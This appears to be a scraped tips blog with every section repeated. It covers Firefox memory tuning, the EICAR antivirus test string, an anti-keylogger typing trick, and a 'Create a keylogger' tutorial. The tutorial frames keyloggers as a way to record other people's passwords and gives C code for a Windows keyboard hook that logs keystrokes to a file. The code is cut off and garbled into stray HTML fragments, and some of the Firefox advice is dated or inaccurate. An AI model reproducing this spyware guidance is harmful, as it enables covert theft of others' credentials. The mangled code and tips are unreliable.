This can happen by many of our improper usage of Firefox. In here I mentioned few causes which you should consider about your Firefox browser.
Firefox extensions and themes:
Most common cause is Firefox extensions and themes, if you have installed lots of extensions and themes probably your browser very slow and show high memory usage.
Overall performance of your computer can be reducing.Check your Add-ons, Themes and remove all unnecessary extensions and themes.
Compare your extensions with Problematic extensions published by mozillazine and follow the recommendations there if any extension found.
Update all your extensions to newest versions, newest versions have lots of improvements and bug fixes for smooth usage.
Still your browser remaining the same status it’s proper to go through this tutorial and follow every this which I discussed here.
Check your extensions for high memory usage:
Let’s check the remaining extensions for memory usage. Even any of your extension not in the Problematic extensions it isn't guarantees that all your extensions are perfect.Open task manager and in “processes” tab check the memory usage of Firefox and write it down somewhere.
Exit from Firefox, Go to start and run type "Firefox -safe-mode" without double quotation marksCheck Disable all add-ons in opened window and click “continue with safe mood”Again in task manager check memory usage of Firefox and compare with previous result.
If there is high flow of memory usage there is an extension still want be removing.Again open Firefox in normal mood, go to "tools" "add-ons" and disable extensions one by one and compare the memory usage after disabling each and restarting the browser.
If you find huge memory reduction after disabling any particular extension that one should be removed if it's not providing a precious service.
Firefox Plug-ins:
Firefox plug-ins also acts as a devil in sometime, so it is better to read plug-ins section of mozillazine which has all the information and trouble shootings for latest plug-ins.
It is recommended you to pay your attention about Quicktime, Java, RealPlayer, Windows Media Player, Flash as they use normally.
Clear your Cookies and Download History:Remaining cookies, history and download history is also impact to speed of Firefox.
Removing them every day after done all of work is can be cause for better performance.Go to "tools" "Options" "privacy" and check "Always clear my private data when I close firefox" under private data and in "settings" (right to check box) select all available options and click ok.
This will prompt you to delete your junk data every time you close your firefox browser.
about:config Settings:
Type "about:config" bar and check "browser.cache.memory.enable" is true or not if it is false double click on it and change the attribute to true.
Right click on anywhere of the window and go to New > "Boolean" and enter "config.trim_on_minimize" set attribute to true. This will automatically reduce the memory usage when your browser is minimized.
But actually this problem is not coming with the Firefox as we open it for first time I couldn’t notice this thing happen. But after some time later it’s going to eat more and more memory and also Firefox start up time increasing.
This can happen by many of our improper usage of Firefox. In here I mentioned few causes which you should consider about your Firefox browser.
Firefox extensions and themes:
Most common cause is Firefox extensions and themes, if you have installed lots of extensions and themes probably your browser very slow and show high memory usage.
Overall performance of your computer can be reducing.Check your Add-ons, Themes and remove all unnecessary extensions and themes.
Compare your extensions with Problematic extensions published by mozillazine and follow the recommendations there if any extension found.
Update all your extensions to newest versions, newest versions have lots of improvements and bug fixes for smooth usage.
Still your browser remaining the same status it’s proper to go through this tutorial and follow every this which I discussed here.
Check your extensions for high memory usage:
Let’s check the remaining extensions for memory usage. Even any of your extension not in the Problematic extensions it isn't guarantees that all your extensions are perfect.Open task manager and in “processes” tab check the memory usage of Firefox and write it down somewhere.
Exit from Firefox, Go to start and run type "Firefox -safe-mode" without double quotation marksCheck Disable all add-ons in opened window and click “continue with safe mood”Again in task manager check memory usage of Firefox and compare with previous result.
If there is high flow of memory usage there is an extension still want be removing.Again open Firefox in normal mood, go to "tools" "add-ons" and disable extensions one by one and compare the memory usage after disabling each and restarting the browser.
If you find huge memory reduction after disabling any particular extension that one should be removed if it's not providing a precious service.
Firefox Plug-ins:
Firefox plug-ins also acts as a devil in sometime, so it is better to read plug-ins section of mozillazine which has all the information and trouble shootings for latest plug-ins.
It is recommended you to pay your attention about Quicktime, Java, RealPlayer, Windows Media Player, Flash as they use normally.
Clear your Cookies and Download History:Remaining cookies, history and download history is also impact to speed of Firefox.
Removing them every day after done all of work is can be cause for better performance.Go to "tools" "Options" "privacy" and check "Always clear my private data when I close firefox" under private data and in "settings" (right to check box) select all available options and click ok.
This will prompt you to delete your junk data every time you close your firefox browser.
about:config Settings:
Type "about:config" bar and check "browser.cache.memory.enable" is true or not if it is false double click on it and change the attribute to true.
Right click on anywhere of the window and go to New > "Boolean" and enter "config.trim_on_minimize" set attribute to true. This will automatically reduce the memory usage when your browser is minimized.
ANTIVIRUS TESTING
The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!
* Open the NotePad program.
* Type this code like below into the NotePad file. (Copy and Paste it)
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
* Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest placing it in the Desktop.
* Run the virus.com file to test your computer efficiency. If there are not any responses from the AntiVirus software, I suggest changing your AntiVirus immediately because it does not work anymore.
* Enjoy testing it and note that this virus.com cannot affect or damage any parts of your computer.
* Open the NotePad program.
* Type this code like below into the NotePad file. (Copy and Paste it)
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
* Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest placing it in the Desktop.
* Run the virus.com file to test your computer efficiency. If there are not any responses from the AntiVirus software, I suggest changing your AntiVirus immediately because it does not work anymore.
* Enjoy testing it and note that this virus.com cannot affect or damage any parts of your computer.
KEY LOGGER
These days Agents spy on u everywhere, in college, at work, maybe a trojan virus on your home PC which keylogs your paswords and mails it to someone else. If u think u r being logged, try this:
Whenever u have to type a password, never type the complete password in one go, ie, if your password is WINDOWS, u should type NDOW, then move cursor to start of the password field using the mouse ONLY, then type WI, then move cursor to end using the mouse and type S. This way the logger will record your keystrokes as [ndowwis] instead of [WINDOWS].
Yeah friends you FOOLED that keylogger ....CHEERS
Whenever u have to type a password, never type the complete password in one go, ie, if your password is WINDOWS, u should type NDOW, then move cursor to start of the password field using the mouse ONLY, then type WI, then move cursor to end using the mouse and type S. This way the logger will record your keystrokes as [ndowwis] instead of [WINDOWS].
Yeah friends you FOOLED that keylogger ....CHEERS
CREATE A KEYLOGGER
What is a keylogger ?
it's a program that logs everything that you type on the keyboard.
what are it's usages to me?
well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.
how do i get one?
you can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.
ok, how do i do this?
you program one. if your new to programming then learn how to program in c then come back here.
if you know how to program in C then read on.
there are two ways of making a keylogger:
1. using the GetAsyncKeyState API. look at svchost.c.
2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:
code: */
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include "windows.h"
#include "winuser.h"
#include "stdio.h"
// Global Hook handleHHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode,
// The hook codeWPARAM wParam,
// The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam
// A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << i =" GetKeyNameText(dwMsg," lpszname =" ']';" file="fopen(" hexe =" GetModuleHandle(NULL);" hexe =" LoadLibrary((LPCSTR)" hkeyhook =" SetWindowsHookEx" hthread =" CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)" style="font-weight: bold;">//This is for educational purpose only..Plz dont misuse it
it's a program that logs everything that you type on the keyboard.
what are it's usages to me?
well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.
how do i get one?
you can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.
ok, how do i do this?
you program one. if your new to programming then learn how to program in c then come back here.
if you know how to program in C then read on.
there are two ways of making a keylogger:
1. using the GetAsyncKeyState API. look at svchost.c.
2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:
code: */
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include "windows.h"
#include "winuser.h"
#include "stdio.h"
// Global Hook handleHHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode,
// The hook codeWPARAM wParam,
// The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam
// A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << i =" GetKeyNameText(dwMsg," lpszname =" ']';" file="fopen(" hexe =" GetModuleHandle(NULL);" hexe =" LoadLibrary((LPCSTR)" hkeyhook =" SetWindowsHookEx" hthread =" CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)" style="font-weight: bold;">//This is for educational purpose only..Plz dont misuse it
